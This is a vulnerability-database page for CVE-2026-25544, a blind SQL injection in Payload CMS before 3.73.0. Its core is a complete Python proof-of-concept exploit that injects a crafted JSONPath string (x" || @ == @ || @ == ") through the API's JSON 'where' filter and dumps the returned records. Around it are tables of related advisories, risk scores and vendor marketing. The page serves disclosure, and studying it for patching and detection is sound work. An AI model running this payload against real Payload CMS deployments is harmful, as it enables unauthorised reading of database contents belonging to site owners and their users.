Lucene search
+L

Payload CMS 3.72.0 SQL Injection

🗓️ 01 Sep 2026 00:00:00Reported by cardosourceType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 23 Views

Blind SQL injection in Payload CMS below 3.73.0 via JSON filter where clauses.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-25544
6 Feb 202621:07
–attackerkb
circl
Circl
CVE-2026-25544
6 Feb 202622:16
–circl
cnnvd
CNNVD
Payload SQL注入漏洞
6 Feb 202600:00
–cnnvd
cve
CVE
CVE-2026-25544
6 Feb 202621:07
–cve
cvelist
Cvelist
CVE-2026-25544 Payload has an SQL Injection in JSON/RichText Queries on PostgreSQL/SQLite Adapters
6 Feb 202621:07
–cvelist
exploitdb
Exploit DB
Payload CMS 3.72.0 - Blind SQL Injection
1 Sep 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-5570
6 Feb 202621:07
–euvd
github
Github Security Blog
@payloadcms/drizzle has SQL Injection in JSON/RichText Queries on PostgreSQL/SQLite Adapters
5 Feb 202620:51
–github
mend
Mend
CVE-2026-25544
6 Feb 202621:07
–mend
nvd
NVD
CVE-2026-25544
6 Feb 202622:16
–nvd
Rows per page
# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection 
    # Google Dork: N/A
    # Date: 2026-08-01
    # Exploit Author: cardosource
    # Vendor Homepage: https://payloadcms.com/
    # Software Link: https://github.com/payloadcms/payload
    # Version: < 3.73.0
    # Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15
    # CVE: CVE-2026-25544
    #
    # Description:
    # Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection
    # vulnerability when processing `where` filters on JSON or RichText
    # fields using the Drizzle database adapters.
    #
    # This PoC demonstrates SQL injection through attacker-controlled JSON
    # filter input affecting generated JSONPath expressions.
    #
    
    
    import requests
    import json
    from typing import Dict, Any, Optional
    
    
    def fetch_posts() -> requests.Response:
        url: str = "http://localhost:3000/api/posts"
        filter_criteria: Dict[str, Dict[str, str]] = {
            "metadata.role": {
                "equals": 'x" || @ == @ || @ == "'
            }
        }
        
        params: Dict[str, Any] = {
            "where": json.dumps(filter_criteria),
            "limit": 100,
            "depth": 0,
        }
        return requests.get(url, params=params, timeout=15)
    
    def display_status(response: requests.Response) -> None:
        print("status:", response.status_code)
        print("content-type:", response.headers.get("content-type"))
        print()
    
    def display_content(response: requests.Response) -> None:
        try:
            data: Dict[str, Any] = response.json()
            print("totalDocs:", data.get("totalDocs"))
            print("docs:", len(data.get("docs", [])))
            print()
            print(json.dumps(data, indent=2, ensure_ascii=False)[:4000])
        except Exception as error:
            print("not JSON:", error)
            print(response.text[:1000])
    
    def main() -> None:
        response: requests.Response = fetch_posts()
        display_status(response)
        display_content(response)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.19.8
EPSS0.00962
SSVC
23